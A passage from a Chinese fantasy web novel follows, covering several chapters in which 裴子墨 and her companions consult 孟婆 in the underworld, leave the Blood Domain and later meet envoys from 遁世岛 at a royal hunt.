“我……我……”寒羽见所有人都朝自己看过来,挠了挠头,一脸无辜,“我真的不知道啊,我只是小时候听说过。” “我可以去地府看看。”白锦夜开口道,“如果地府有血线虫,幻雾蛊又有可能被寒羽惊退,去地府说不定有什么发现。” 裴子墨拧起眉,自从上次凌珞在地府受伤之后,去地府的事基本都不会再被提起,顿了会她才道,“我跟你一起去吧。” 白锦夜沉默了会,点了点头,就像裴子墨昨晚说的,他不会术法,就算发现什么,也不一定对事情有帮助。 “那你们帮忙守好,不要让人来打扰。”裴子墨看向鬼卿等人。 从梦境入地府,对白锦夜来说,已经是轻车熟路。 只不过进了地府开始,裴子墨就见到了不少鬼差,她微微皱起眉头,在地府,平时鬼差都很忙,很少会这么集中的在地府出现。 有这么多鬼差在,他们更不能四处乱走,便直接上了奈何桥。 孟婆瞥了他们一眼,“老远就见到你们,还以为运气这么不好,已经来地府报道了。” 裴子墨四下看了一圈,才问道,“怎么有这么多鬼差?没事做了么?” 孟婆皱了下眉头,周围看了看,没有什么鬼差靠过来,才低声道,“最近地府戒严,你们若是没什么事,也尽快离开,暂时都不要来了。” “为什么?地府发生了什么事么?”裴子墨皱起眉头。 “我只是个发汤的老婆子,怎么可能知道那么多事?”孟婆摇了摇头。 裴子墨皱了下眉头,寒羽知道血线虫,其实最好的办法,可能是去炼魂谷那边,但是凌珞是在那边受伤的,而且他们和修罗王的梁子也结下了,自然不方便再往那边走,便继续问,“你听说过血线虫和幻雾蛊么?” 孟婆舀汤的手顿了下,抬头看向裴子墨,“你怎么知道这两样东西?” 她虽然没有直接回答裴子墨的话,但是她这么问了,显然就是知道这东西,裴子墨心里微微一喜,“我之前遇到了这两样东西,血线蛊能解掉,但是幻雾蛊不知道该怎么解。” 孟婆收回目光,没有说话,继续舀汤。 裴子墨也没有催促,就在旁边耐心地等着。 过了许久,孟婆才轻轻叹了口气道,“那幻雾蛊,是地府的东西,许多年前,被一个鬼差带到了人间,那个鬼差已经被地府处罚,但幻雾蛊却收不回来了。” “不过我听说,人间的那个幻雾蛊,被人镇压了,现在又重现人世了么?” 裴子墨点点头,“那封印裂开了。” “封印裂开了?”孟婆冷哼一声,“好好的封印怎么会裂开?肯定又是他们干的好事!” “他们?是谁?”裴子墨皱起眉头。 孟婆摇了摇头,“那幻雾蛊并不被人所控制,它有自己的意识,克星便是无边业火,只要一丝无边业火就可以烧掉幻雾蛊。可这无边业火也在地府,你怎么引到人间?” 裴子墨闻言恍然大悟,怪不得当时那老和尚的师弟说要去找他的师兄借东西,那老和尚不知道用什么秘法能把无边业火引到人间,所以他去找老和尚借的,便是这无边业火。 只是……大概就发生了老和尚嘴里说的,他们的师父想要把他们所有人都杀掉,所以他的师弟因此不幸殒命,这事情也就不了了之了。 “那有没有什么其他的办法,能够暂时克制呢?”裴子墨又问。 孟婆轻轻叹了口气道,“你去找修罗王问问吧。” “找他?”修罗王可是裴子墨最不想找的人,而且修罗王也不可能帮她。 孟婆点点头,“幻雾蛊诞生的地方,距离炼魂谷最近,但是这么多年幻雾蛊也没有侵蚀修罗的地界,想必那修罗王是有什么办法克制幻雾蛊的。” “这样……”裴子墨微微皱了下眉头,这么说寒羽的身上确实就有答案,那便也不需要去找修罗王了,“多谢。”说完她带着白锦夜就要离开,走了两步,又想起什么,转头看向孟婆,“你知道这么多事,不会不知道地府到底为什么戒严吧?” 孟婆轻笑了一声,“说了不知道就是不知道,赶紧走吧,没什么事最近都别再来了,小心惹了大麻烦。” 说到“大麻烦”几个字的时候,孟婆也额外地放缓了语速加重了语气。 而且也朝裴子墨看了一眼,眼神隐晦,但是裴子墨却隐约的明白了。 遁世岛的人来了。 遁世岛和地府虽然互不干涉,但是互相之间也很防备。 能让地府如此戒严,那只能是遁世岛的人了。 她轻轻抿了抿唇,看样子那本书上说的没错,老和尚脱困,引来了遁世岛的人。 只是老和尚这么多年都在困阵之中,又是如何突然间脱困? 想到这,裴子墨的手蓦地握紧——那血域山洞的阵法! 老和尚指引他们来血域,之后老和尚就脱困了,而他们在血域之中,唯一破开的,就是那山洞上的阵法。 裴子墨轻轻叹了一口气,一切都是因果,有些事是躲也躲不过的。 她朝孟婆微微点了点头,转头看向白锦夜,“走吧,看样子寒羽确实能惊退幻雾蛊。想要离开血域,恐怕就要靠寒羽和幻雾蛊的掩护了。” 她说着眉头慢慢地皱起,如果遁世岛的人已经来了,他们便更没有什么时间耗费在血域这里了,必须得马上离开了。 第387章 离开血域 醒来后,裴子墨便说了自己的计划,让楚星玄转告族长,他们可以尝试封印幻雾蛊,订但具体能不能成功还要尝试,所以他们需要找一个晴天的时候,出去把幻雾蛊引出来。 这种情况下,血域的人肯定不会出来,他们如果能靠着寒羽避开幻雾蛊,就能快速离开这里。 “不行。”白锦夜皱起眉头,“我们去解决幻雾蛊,血域的人肯定不会让我们带着太多的食物,从这里到山上,我们用最快的时间赶路,也要五六天,这期间难免不吃东西,好不容易解除了血线蛊,万一再中了蛊虫,到时怎么办?” “是啊。”楚星玄点点头,“而且他们要是防备我们,肯定也不会让我们所有人都出去,到时候万一他们要留下一两个人做人质呢?” 裴子墨皱起眉头,“可是我们没办法封印幻雾蛊,更没办法消灭,总不能就这么耗在这里。” “但你刚才说,我那师父去找他师兄,是为了无边业火?”楚星玄抬手轻轻地敲着桌面,“我倒是有个办法,但就不知道你们是不是可信了。” 裴子墨看着他,“我们?” 楚星玄点点头,“现在暗城的人在追杀我,他们怎么都不可能想到我到了血域,我留在这里,肯定是最安全的,况且那书上的内容我还没有琢磨明白,这里蛊虫这么多,在这里刚好有利于我试验那书上的记载。” “所以……我可以告诉血域的族长,我们需要一样东西,就是当年我那师父离开血域去找的的东西,我留下来,你们去取那样东西。” “你要留下来?”冷鸢有些诧异地看着楚星玄。 “我想了想,我留下来,确实是最好的解决方法。而且假设你们找不到控制无边业火的秘法,将来我一个人想要离开也更方便一些。”楚星玄点点头,“本来不清楚这幻雾蛊,也不好忽悠那些人,现在连始末都清楚了,短时间内我还是能让他们相信我的。” 裴子墨拧起眉,思索了半响,没有说话。 她的计划有失败的可能性,而且如果一次失败,被血域的人发现,他们之后想要做什么就更难了,加上白锦夜的话也不是没有道理。 但楚星玄的提议……也要看血域那边的反应,他们是不是能接受楚星玄的说话。 “行了,先睡吧,我明天去跟他们好好聊聊。”楚星玄说着打了一个哈欠,打算去睡,又想起什么,转头看向裴子墨,“不行,你走之前,得把那书上的文字给我读一遍。” 裴子墨反正也没什么睡意,便帮着楚星玄把《蛊御万疆》这书上的字全都认了一遍。 * 第二天一早,楚星玄就被族长的人请走,这一走又是大半天,等傍晚了才回来,一进门便开口道,“他们同意了,你们现在就出发,迟则生变,马车和吃的都备好了。” 几人闻言便跟着楚星玄往外走,血域的族长和村长虽然没出现,但是却有几个人跟着他们,说是送他们出门,无非还是在看着他们。 楚星玄拉着裴子墨低声道,“我那命蛊在你身上,你可得好好照顾着。” 裴子墨点点头,“它若是苏醒过来……” 楚星玄把碧血石递给她,“你随身带着碧血石,它若是醒过来,便会找这个,我在这上面留了我的血,双重保险,应该不会有什么问题。”他说着顿了顿又补充道,“车上的食物和水我都检查过没有问题,不过你们离开之后最好再仔细的检查下。” 话音落下,他见着血域的人靠近,便提高了些声音,“你们可千万别像我那位师父一样不着调,尽快拿到东西,赶紧赶回来。” “放心吧。”裴子墨应了一声,又低声道,“你自己也多小心。” “我那师父说的东西你们知道在哪么?”楚星玄又问,不过问这话的时候,却在眨眼。 他只是想要知道一个地点,但显然并不是那老和尚现在在哪,如果封印已经破开,确实没人知道那老和尚会去哪。 所以楚星玄想问的,是如果他从这里离开了,去哪找裴子墨他们。 裴子墨想了想才道,“肯定先去他家里找他。”这话的意思,就是让楚星玄先去圣殿,“如果他不在家里,那就先去临漳,那里有一处香火极其旺盛的寺庙,也许那里会有,若是临漳也没有,只能去盛京了。” “行吧。”楚星玄点点头,“总归路途遥远,你们就抓紧时间,早去早回。” 血域的人也并没有为难裴子墨等人,反正在他们眼里,这几个人远不如楚星玄重要,只要楚星玄在,其他人是去是留,对他们来说没什么区别。 若是那几个人能带回来楚星玄说的东西就最好,若是带不回来,反正师祖传承的东西都在楚星玄的身上,这对他们来说,就已经是千年来最好的消息了。 离开了那村子,冷鸢才叹了一口气,低声道,“没想到,关键时刻,楚星玄还能做个人。” “你这话真不知道是在夸他还是在骂他。”裴子墨笑了笑,“不过留在这里,对他来说,确实是最好的选择,希望这段时间,他的蛊术能再进步一些。” 这一次几个人的目的就是出血域,到了那山脚之后,来时的路,白锦夜就认识了,可以带着他们走楚星玄带他走过的捷径,几天后便回到了北冥国的地界。 早就已经说好的事,白锦夜便也不打算多留。 “你们都先跟我回一趟圣殿吧。”裴子墨说着看向白锦夜,“鬼卿也要去盛京,你们可以同路走。” 白锦夜轻轻皱了下眉,并不知道裴子墨是要有什么安排,但犹豫了半响也还是没有问出口。 到了圣殿,冷鸢带他们去休息,裴子墨就直接进了藏书阁,她在藏书阁里一连呆了好几天。 冷鸢和鬼卿本来就是在圣殿长大,回到这就跟回家是一样的,至于寒羽,每天跟着冷鸢吃吃喝喝,早就乐不思蜀。 只有白锦夜一个人,呆得越久,整个人就越难受。 到第五天晚上,他实在是睡不着,在房间里转了很久,终于还是决定去找裴子墨。 哪知道刚拉开门,就见到裴子墨端着一个大碗走过来。 第388章 我不会娶别人 白锦夜看着裴子墨走近,碗里的味道也飘了过来。 这东西他虽然只见过一次,但是一次就终生难忘。 那便是当时裴子墨把他炼制成冥尸的时候,让他喝过的东西。 他拧了拧眉,想到那让人犯呕的味道,就忍不住往后退了一步。 裴子墨端着碗进了门,反手关好门,才小心翼翼地把碗放在了桌子上,随即转头看向白锦夜,“之前把你炼制成冥尸的时候,只用了一点从凌珞的血里提炼出来的修罗血,再加上最后一个阵法太过着急,用的只是我的血,什么都没掺杂,所以对你可能有些影响。” 白锦夜垂眼看着碗里的液体,“所以要再来一次?” 裴子墨点点头,“我怕以后会有什么问题,所以趁现在有时间,就把这个疏漏补上,刚好寒羽也在,有他的修罗血,这一次应该不会有什么其他的问题了。” 白锦夜站在那,没有动。 裴子墨也低头看着碗里的液体,她控制鬼卿从来都没出过问题,可是偏偏有几次白锦夜都挣脱了她的控制,再加上上次她试图抹去白锦夜的记忆,可是无论如何都不能成功,这就说明,白锦夜虽然是她炼制的冥尸,但是已经在逐渐地脱离她的掌控。 这几天她仔细地查看过当时炼制鬼卿的时候,留下的一些记录,唯一能想到的办法,就是再重新来一次。 半响后,见白锦夜没什么动静,裴子墨才又抬头看向他,“等你回了盛京,万一出现什么问题,我离得远,根本没办法及时补救。如今凌幽死了,凌珞会怎么样还不知道,锦成根本没有你们这样的能力,你若是出了问题,‘神冥公’一脉就真的绝后了。” 白锦夜沉默了会,才抬手解开腰带,除去衣衫,回了床上。 裴子墨也端着碗走了过去。 白锦夜拧着眉,接过那碗,酝酿了半响,才屏住一口气,喝了一大口。 这一次这液体大概更纯,所以味道比上次有过之而无不及,白锦夜觉得有那么一瞬间,甚至眼前发黑,真是差一点就要被这味道熏得晕过去了。 半响后,裴子墨都已经沾着这液体开始在他身上写符咒阵法了,他才终于压下反胃的感觉,开口道,“你之前跟我说,这恶臭是引魔花的味道。” “是。”裴子墨点点头,“不过那一会因为我还不知道修罗血的事……其实这引魔花是没有味道的,修罗血除了血腥味也没有别的什么,但引魔花和修罗血碰到一起,就会出现这股味道。”她说着顿了下,“不知道这修罗血到底是什么好东西。” 沉默了好一会,白锦夜才又问,“你把鬼卿炼制成冥尸的时候,也是这样么?” “什么?”裴子墨没明白他的意思,但等了会也不见他解释什么,想了半天才明白他在问什么,“鬼卿身上的符咒,有一些是凌珞完成的。”说完她顿了顿又补充,“不过我从小跟着我师父和凌珞学医术,尤其是学针灸的时候,该见过的自然都见过。” 白锦夜没再说话。 等符咒画到手心的时候,裴子墨的笔蓦地停了下来,液体顺着笔尖,递了一滴在白锦夜的手心上。 在他的手掌心,有着几道深浅不一的疤痕。 最新的一处疤痕,结痂才刚刚脱落,露出粉红色的肉芽。 裴子墨自然知道,这些都是喂养血莲后留下来的疤。 白锦夜也跟着看过去,轻轻皱了下眉头,“我回去之后,要么在盛京,要么去月城,你将来若是有需要,去找我就可以。” 裴子墨回过神来,擦掉滴下来的液体,继续写符咒,随口问道,“你还打算去月城?” “嗯。”白锦夜应了一声,也没有说原因。 裴子墨也就没有再说话。 又隔了好半天,白锦夜才重新开口,“上一次,你写这些阵法和符咒的时候,满头大汗,写完就晕了过去,现在看起来,这都对你来说,已经很轻松了。” “是。”裴子墨点点头,“那时候的身体也太虚弱。” “我这一次来找你,一开始你也没说什么要赶我走的话。”白锦夜看着她,“但是那次你发烧之后……到底是因为什么?你总得给我一个理由不是么?” 裴子墨轻轻抿了下唇,没有回答他的问题,反倒是说,“我跟鬼卿聊过了,他对左辞的印象也不错,所以这一次你和鬼卿一起回盛京的时候,把冷鸢也带上吧。若是将来左辞也同意,他们的婚事,就劳烦你操办了。” 见裴子墨完全不搭话,白锦夜重重地叹了口气,转头看向床帐外。 “不过寒羽要暂时留下,看样子修罗一族的身上确实有很多秘密,反正我最近也没事,可以多研究研究。”裴子墨又道。 “你打算一直留在圣殿么?”白锦夜又问。 “暂时是的。”裴子墨点点头。 说完这一句,两个人谁也没有再说话,和上一次一样,裴子墨最后一笔写完,白锦夜身上的符咒和阵法的痕迹便全都消失不见了。 裴子墨起身就打算离开。 “等一下。”白锦夜叫住她,披上衣衫,拿了一样东西递过去。 裴子墨接过来,发现是当时从那个山洞的石台上拓下来的文字,“其实我也知道,你不会烧掉。” “是,你知道很多事,你只是不在意。”白锦夜看着她。 “我在藏书阁发现手铐脚链,那不是圣殿的东西,也不像是暗城的东西。”裴子墨把东西收起来,“楚星玄帮你解开的?” “这种事重要么?”白锦夜轻轻皱了一下眉头,“你既然这么说,也就是证明当初你明知道任月舞有问题,也知道我因为一些原因被她困住,但却正好借机可以甩开我,甚至拿到休书,不过其实你本身也根本不在乎有没有那休书,也不过就是将来要堵我的嘴。” 裴子墨笑了笑,“白锦夜,那休书算是一个了断,将来你若是娶别人的时候,起码不会有什么心理负担。” “我不会娶别人。”白锦夜的眉头皱得更紧。 裴子墨抬起手,想要抚平他的眉心,却被白锦夜按住手指,紧紧地贴在他的额头上,他知道她能感受到他的想法,可也还是又重复了一遍,“我不会娶别人。” “你会的。”裴子墨笑了笑,“有时候很多事,由不得人,跟你想不想一点都没有关系。” 第389章 这不是影响咱们师徒感情么? 白锦夜的脸色沉了沉,“我自己的事,我自己做得了主。” 裴子墨也没再纠结这件事,只是说,“明早你们便启程吧。”说完便要离开。 白锦夜抬手拉住裴子墨的胳膊。 裴子墨转头看他,“还有事么?” 白锦夜盯着她看了会才问,“你恨我么?” 裴子墨不明白他的意思,“怎么这么问?” “只是想起你那天看我的目光,带着恨意。”白锦夜顿了顿又道,“好像我让你很痛苦,可你也不喜欢我,甚至也不在乎我,我为什么会让你觉得痛苦?” “我当时……神志不清,也许把你认成了别人。”裴子墨想了会道。 白锦夜当然不相信她这样的解释,如果她只是把他当成了别人,就不会在之后求他离开,“我知道你有些话不想也不愿意跟我说,但是你知道我的心意,也知道我答应你离开的原因,反正……我就在那。”说完,他又补充了一句,“你需要的时候,我一定就在那。” 裴子墨微微笑了笑,没再说话,抽回胳膊,离开了房间。 * 第二天一早,白锦夜和鬼卿离开,裴子墨也提前跟冷鸢谈过,冷鸢虽然不愿意扔下裴子墨一个人,但终究是说不过她,况且鬼卿对这件事也持支持的态度,她便也就答应了跟他们一起离开。 不过她也早就想好了,就算她要嫁人,将来也一定要带着她的夫君回圣殿,一起生活在这里。 如果连这个要求都不答应她的男人,那不嫁也罢。 把他们送走,圣殿里就剩下裴子墨和寒羽。 寒羽忍不住长吁短叹,冷鸢一走,他就只能跟裴子墨吃糠咽菜了。 他实在是不明白,其他人都走了,为什么裴子墨偏偏要把他留下来,留下来要是有好吃的也行,可显然不仅没有好吃的,还要配合裴子墨的试验,他真是……一个苦命的修罗。 而且裴子墨每天都很忙,不是在藏书阁里看书,就是在花园里捣鼓阵法符咒,他偶尔见到她,也都是她主动找上来管他要一点血。 冷鸢走的时候,大概是知道裴子墨不太可能自己下厨,所以提前备好了不少吃的,但是这些东西也没有坚持太久。 后来就变成了圣殿的肉尸下厨。 这些肉尸做事情都是靠本能,做出来的东西,能吃是能吃,但寒羽就觉得这么下厨甚至浪费食材。 有几次他都忍不住要自己下厨,毕竟之前看左辞和冷鸢下厨,都觉得这是一件很容易的事情,可是换了他,却每次都差点烧了厨房,最后也就放弃了,起码这些肉尸还能把东西做出来,他弄出来的,除了黑黢黢的就是还带着血丝的。 在寒羽的千呼万盼中,鬼卿终于回了圣殿。 问到裴子墨在藏书阁,连休息都没有就直接冲了过去。 裴子墨自然也感受到鬼卿回来了,鬼卿到藏书阁门口的时候,她也就打开了门出来。 “遁世岛的人来了。”鬼卿看着裴子墨,眼里带着一丝担忧,他虽然不知道裴子墨和遁世岛的渊源,但是之前她也承认了,她要对付的人,就是来自遁世岛,所以到了盛京听到这个消息,他把凌幽的魂魄放进九星灭仙阵之后,就用最快的速度赶了回来。 裴子墨对这个消息自然不诧异,那天孟婆跟她说完,她就已经猜到了,便直接问道,“他们这次来,有什么目的?” “他们发了一个任务,在整个盛京里都贴了告示,说这世上的人,都遵循生老病死的规律,但是有人虽然没有成仙,可却想办法从这个规律之中逃脱出去,活了上千年,这些人严重影响了这世上平衡的气运,所以若是有人能杀掉三个活了千岁的人,他们就会赐一颗仙丹,吃了之后,便可直接位列仙班。”鬼卿回道。 裴子墨冷笑一声,“他们现在为了杀掉这些修习术法的人,已经无所不用其极了。以前发布任务的时候,只会让修习术法的人知道,并不会影响到普通人的生活,现在竟然让普通人去杀修习术法的人?” “不过很多人对此都很感兴趣,他们觉得这种人毕竟很少,双拳难敌四手,再加上一些暗算陷阱,未必没有可能。”鬼卿皱起眉头,“总之,好像已经有不少人开始抱团准备去做这件事了。” “天真。”裴子墨说着看向远处,轻轻眯起眼,如今这世上,活着的,超过千岁的人……鬼卿算一个,凌珞的魂魄还没有归于地府,尸身保存,日后可能会复活,也勉强能算一个,寒羽应该也算一个,若是实在硬说,那后山断崖的那只紫翅天鹏也可以算,再有就是那老和尚了。 其他的,也许还有不出世的,隐世在某一个角落,只说眼前的,她身边的这几个人总不能互相厮杀,那这么看,说不定就只有那老和尚有机会。 别人想要杀那老和尚不容易,可是他想要杀其他人,易如反掌。 裴子墨叹了口气,转身回了藏书阁。 鬼卿也跟着她走了进去,转手关上门,“你现在有什么打算?” “如果是这样的任务,那他们这一次,针对的便不是我。”裴子墨垂眼在书桌边坐下,“我现在比较担心那老和尚,他见过凌珞和寒羽,也知道凌珞如今在哪,我怕……” 鬼卿沉默了一会才道,“有些事,尽力而为就好,你也不可能永远保护所有人。” 裴子墨垂眼看着桌面上的书,没有说话。 * 遁世岛的告示,很快就传播开来。 四处吃吃喝喝的老和尚和他的徒弟也看到了告示。 中年和尚眼里亮了亮,“师父,仙丹。” “仙丹怎么了?有肉好吃么?有酒好喝么?”老和尚摇了摇头,转身走开。 “可是当了神仙,就不用受凡事所扰了啊。”中年和尚跟了上去,“到时候就再也不用怕没银子了。” “你怎么知道神仙就有银子了?”老和尚抬手拍了一下他的后脑勺,“今天师父我就再好好教你一次,什么仙丹不仙丹的?哪里有酒有肉哪里就是仙境,如今咱们酒足肉饱,就已经赛过活神仙了,咱们才不费劲巴拉的去做那些无聊的事。” 中年和尚眨巴了下眼睛,没说话。 “再说,人外有人天外有天,万一打不过人家,那你师父我可就再也吃不到酒肉了。退一万步说,他们就算真的给了一颗仙丹,你吃还是我吃?你吃的话,留你师父一个人留在这,你于心何忍?我吃的话,我也放心不下你这傻徒弟,这不是影响咱们师徒感情么?”老和尚继续道。 这回中年和尚认同的点点头,“师父,我还想吃烧鸡。” “走,吃去!”老和尚大手一挥,带着徒弟往酒楼走,又回头往围着告示的人群看了一眼,遁世岛?呸。 第390章 出使 白锦夜回了京城,最开心的莫过于白风御。 当场就派人传话说等他都安顿好,带着王妃进宫来转转。 白锦夜回来自然也要进宫,于是第二天便一个人进宫了。 白风御也难免问起裴子墨。 白锦夜这一次回来,便是已经彻底想好了,如果他跟裴子墨在一起,并不能让她开心,只会让她难过让她觉得他是个累赘的话,他确实没必要再呆在她身边。 感情的事,终归是两个人的事,勉强不来。 所以也就直接告诉白风御,只有他一个人回来了,裴子墨不会再回来。 一开始白风御还以为他在开玩笑,但是看着他脸上难掩的落寞,才明白他说的是真的,顿了半响,他才收起嘴角的笑容道,“也许,本就不合适,她终归不是普通人。” “你也觉得不合适么?”白锦夜轻轻皱了下眉,开口问道。 白风御站起身,走到窗边,推开窗,向外面看去,轻轻叹了口气,“皇弟,你也应该看到街上,遁世岛贴的那些告示了。” 听到“遁世岛”这三个字,白锦夜的手微微握起拳头,他自然知道遁世岛的这些是什么人,对裴子墨来说意味着什么。 初进京看到这些的时候,他和鬼卿都知道事情不好。 鬼卿有事要办,说自己要赶紧去忙,之后立刻回去通知裴子墨。 他也确实知道自己帮不上什么忙,这会便不能再给裴子墨添乱了。 顿了会,白风御继续道,“千年寿命,那是我们连想都不敢想的事,我们的人生短短几十年,在他们眼里,不过就是一瞬。” 他说着转身看向白锦夜,“你还记得你在月城市集上,遇到过的某一个大爷大娘么?你是天风国的战神,是月城百姓眼里的守护神,他们见你一眼,便终身难忘,甚至可能成为一辈子可以炫耀的谈资。” “但是你呢?你会记得他们么?且不说市集上只见过一眼的大爷大娘,就说是跟你一起出生入死的士兵,除了像是左辞他们这些长久跟着你的,那些只在你帐前伺候过几天的,你可能都不会再记得了,不是么?” “那么,他们之于你,和我们之于那些修习术法可以长生不老的人,又有什么区别?” 白锦夜垂下眼,若只是长生不老不死,他现在确实已经能做到了,可白风御说的也没错,而他们之间相差的,又何止是这一点? 裴子墨历经几世,什么风浪没有见过? 他只知道她曾经有过相爱的人,但是在这几世里面,也许也可能不只是有那一个人喜欢过裴子墨,只是他们恰好相爱,所以在一起。 说不定也有过更多的人追求过她。 那些人说不定在术法上可以和她比肩,可她偏偏就是不喜欢,又能怎么样? 他做过的事情,也许和以往的那些人比起来,都不值一提,裴子墨自然更没有必要感动。 他在裴子墨这么多年的记忆中,就像是一滴水滴进江河湖海,翻不起一点风浪。 白锦夜轻轻地叹了口气,抬眼看向白风御,“怎么?当了皇上之后,就开始喜欢说教了?” “这不是最近感慨么?”白风御摇了摇头,走回到自己的位置上坐下,“你有头疼的事,我也有,以前在王府的时候,我和夫人两个人,也没人撺掇我纳妾,那时候远在边关,又和皇兄的关系不算太好,更没有人想要跟我结亲,现在……”他叹了口气,突然想起什么,抬眼看向白锦夜,“既然你现在孤家寡人,不如替我分担下?” 白锦夜捋了捋袖口,“你要是有这个打算,我明天就离京了。” “哎。”白风御又叹了口气,觉得在这件事上,以白锦夜的性子,好像确实没办法帮他分忧了。 “再说,人家是要入宫当娘娘,生下皇嗣,可不是要进王府生世子。”白锦夜轻笑了一声,“自己受着吧。” 白风御沉默了会,只要想起这件事就头疼,他不想破坏夫妻感情,他和夫人相识于微时,这么多年在边关,他夫人都一直陪着他,小意温柔,他也从未想过纳妾之事,如今却不断有大臣上书,让他纳妃,让他为皇家开枝散叶,多生子嗣。 他一开始的时候查了查,发现上书的这些大臣家中,差不多都有适龄待嫁的女儿,于是他大发雷霆。 之后这些大臣倒是不上书了,全都换成了御史和言官。 这下好,他们写的上书又臭又长,能把好几个朝代之前的历史记载都搬过来,让他引以为戒或者让他以此为鉴。 他抬手揉了揉眉心,没再提这件事,换了话题,“对了,不管怎么说,你以前那位王妃都会些术法,你也耳濡目染不少,明日便随我一起,陪遁世岛的人去西山的皇家猎场打猎吧。” 白锦夜怔了一下,如今白风御做了皇上,总比之前白砺寒靠谱,他对京中的事也没那么上心,所以回来也没有打探这些消息,“遁世岛的人在京中驿馆?” “是啊。”白风御点点头,“他们这一次,说是出使我朝。不过这遁世岛又不是什么国家,好像也不属于哪个国家,就是南边海上的一个小岛,搞得礼部尚书头疼的要死,都不知道该用什么样的规格接待。看起来都是高人大师,怕怠慢了惹了他们不开心,再做出什么事来害人,可若是规格太高,那也不符合制度要求。” 白锦夜轻轻眯起眼睛,遁世岛以出使的方式出现,这他倒是没想到的,也没听裴子墨提起过类似的事情。 不过他们既然来了,那他去见见也未必不可。 他看过那告示,自然也知道遁世岛这一次的目标是活了千年的人,裴子墨显然不在这个范畴,若真是这样,那就最好,起码暂时裴子墨是安全的。 但也难保这些人说不定只是打了这个幌子,还有别的事情要做,那他如果能搞清他们这一次的真正目的,也算是能帮了裴子墨了,“好啊,我也很久没打猎了,那就一起去吧。” 第391章 是他,一定是他! 第二日一早,白锦夜便带着左辞随行去了皇家狩猎场。 一男一女,还有三个看着身份应该是下属模样的人。 白风御如今已经不是想下场打猎就能下场打猎的身份了,尤其是这种临时决定的事情,护卫最好的地方就是猎场外面的高台之上,猎场里面的情形在不能完全保证安全的前提下,他自然是不能下场的。 于是他便传了白锦夜一起去高台上坐着喝会茶,也跟遁世岛的人见见面。 那女子见到白锦夜走上来,微微有些激动,眼底闪过一抹喜色,抬手轻轻拉了拉男子的衣袖。 男子转头递给她一个安抚的眼神。 “这是朕的八皇弟,我朝肃亲王,常年在外守边征战,昨日才刚刚回京。”白风御开口介绍道。 男子朝着白锦夜抱了抱拳,开口自我介绍,“遁世岛裴子轩。” 白锦夜的脚步微微顿了下,对于这个名字,他倒是不陌生。 当初裴子墨在京中算卦的时候,对外从不提起自己的名讳,可对萧家人便自称过这个名字。 他当然不相信世界上有这么巧的事情,裴子墨胡编乱造一个名字,恰好就是眼前这男子的名字。 而那个时候,裴子墨还没有跳过忘川,按照她的说法,那会她大概还没有想起有关遁世岛的记忆。 他的袖中的手轻轻握了握,才对着裴子轩也抱了抱拳。 “这位是舍妹,裴子衿。”裴子轩继续道。 白锦夜微微点头示意,借着白风御赐座的时候,垂下眼,眼里闪过一抹不解。 他知道的,是圣女一脉都是以“裴”为姓,像是裴黎,裴洛,裴姝,这些人的名字都是两个字,只有裴子墨的名字是三个字,他一开始也没有想那么多,可如今……这些遁世岛的人,也姓裴,而且中间的字也是“子”字,若是按照排辈的情况,裴子墨……原本跟这两个人,应该是同一辈的么? 他轻轻皱了下眉,凌珞是那个人的一丝执念,他是记得裴子墨的前世的。 而这一世,裴子墨从小是凌珞养大的,说不定名字也是凌珞给起的,凌珞既然执念那么深,也很可能就用她曾经的名字叫她。 那么……裴子墨本身,是从遁世岛出来的么? 他转身坐在椅子上,也收起了这些思绪,只是开口道,“世界之大,无奇不有,本王常年都在北部守边,倒不知在南边的大海里,还有这样一处‘仙岛’。” 说着话,他也感受了下这两个人身上的气息,只不过他们气息寻常,看起来和普通人没什么区别,倒是身后站着的三个人的身上,偶尔能感受到一丝……类似于凌幽裴黎他们这些人身上才有的特殊气息。 裴子轩看着白锦夜轻轻笑了笑,“仙岛不敢称,只不过确实是一处世外桃源。我看这位王爷,身上怕是也有些奇遇。” 白锦夜自己也知道,冥尸的身份能瞒过一般人,但肯定是瞒不过遁世岛的人,他也没有在这个话题上多说,只是转头看向白风御,“皇兄,若是没有其他的事,臣弟先去打猎了。” “一看你就是手痒了。”白风御说着笑了笑,又轻咳了一声低声道,“听说今日这猎场里有白狐和火狐,你若是能打到,便送给朕,朕答应了皇后的。” 白锦夜点点头,站起身对着裴子轩抱了抱拳,便转身往下了高台往猎场里面走。 裴子轩转头看向自己身后的三个人开口道,“你们也去玩一玩吧,可以帮肃亲王找找那白狐和火狐。” “是。”三个人应了一声退下,往白锦夜离开的方向跟了过去。 等他们走远了,裴子轩才看向白风御开口问道,“不知道这位肃亲王可否婚配?” 白风御抬手捋了捋袖口,之前有关白锦夜和他那王妃的事情,特别具体的他也不是很清楚,但是也难免好奇,后来确实私下打听过。 白锦夜这有名有姓、大家都知道的王妃叫“裴清歌”,这事很多人都知道,至于后来的事情,就完全没人知道了。 而且“裴清歌”曾在普宁街算卦,后来为了解决某件事,在宫中去世的事,虽然比较隐晦,但他也知道了。 如今他私下猜测,大概就是她曾经化名“裴清歌”,是为了做某件事,那件事做完了之后,就诈死离开。 只是没想到他这皇弟是个痴情的,后来不知道为何又找到了对方。 再后来……又被甩了。 既然现在两个人已经分开了,那后面的事,也就没必要再说了,于是便开口道,“曾经婚配。” “曾经婚配?是什么意思?”这一次不等裴子轩开口询问,裴子衿便自己问了出来。 这话问出来,就有些显得急不可耐了,白风御也只是当没看出来对方的意思,简单地解释道,“前两年娶了我朝一位武将之女,只不过那女子福薄,过门也就一年左右,便离世了。不过他们伉俪情深,朕这皇弟如今也没有再娶的念头。” “这样……”裴子轩说着笑了笑,“肃亲王一表人才,战功赫赫,想必也不愁婚事,将来从情伤里走出来,定能觅得良配。” “承你吉言。”白风御笑了笑,又看了裴子衿一眼,站起身,“朕活动活动筋骨,二位自便。” 等白风御带着人离开,高台之上,只剩下裴子轩和裴子衿两个人。 裴子衿这才激动的开口道,“是他,一定是他。” 裴子轩点点头,“我认得出来,只不过……他魂魄上的印迹不见了,那印记是我亲手打下的,有谁能抹掉我的印迹呢?”他说着轻笑了一声,“除了她,也就没有别人了。” “但他应该是什么都不记得了。”裴子衿抿了下唇。 “是啊,可是他的身体被改造过。”裴子轩眯起眼睛,“就算他什么都不记得了,这一世也一定遇到过她。” “哥,既然现在她不在,我们直接把他带回遁世岛就好了,她也不会来遁世岛,只要……只要她不出现,不破坏我和他,我们也没有必要再耗时耗力的找她。”裴子衿轻轻皱起眉头,“我跟她真的……耗够了。” 裴子轩转头看向她,轻轻叹了口气,“但她永远是个让人头疼心烦、不安定的因素。” 第392章 只要你愿意跟我去遁世岛 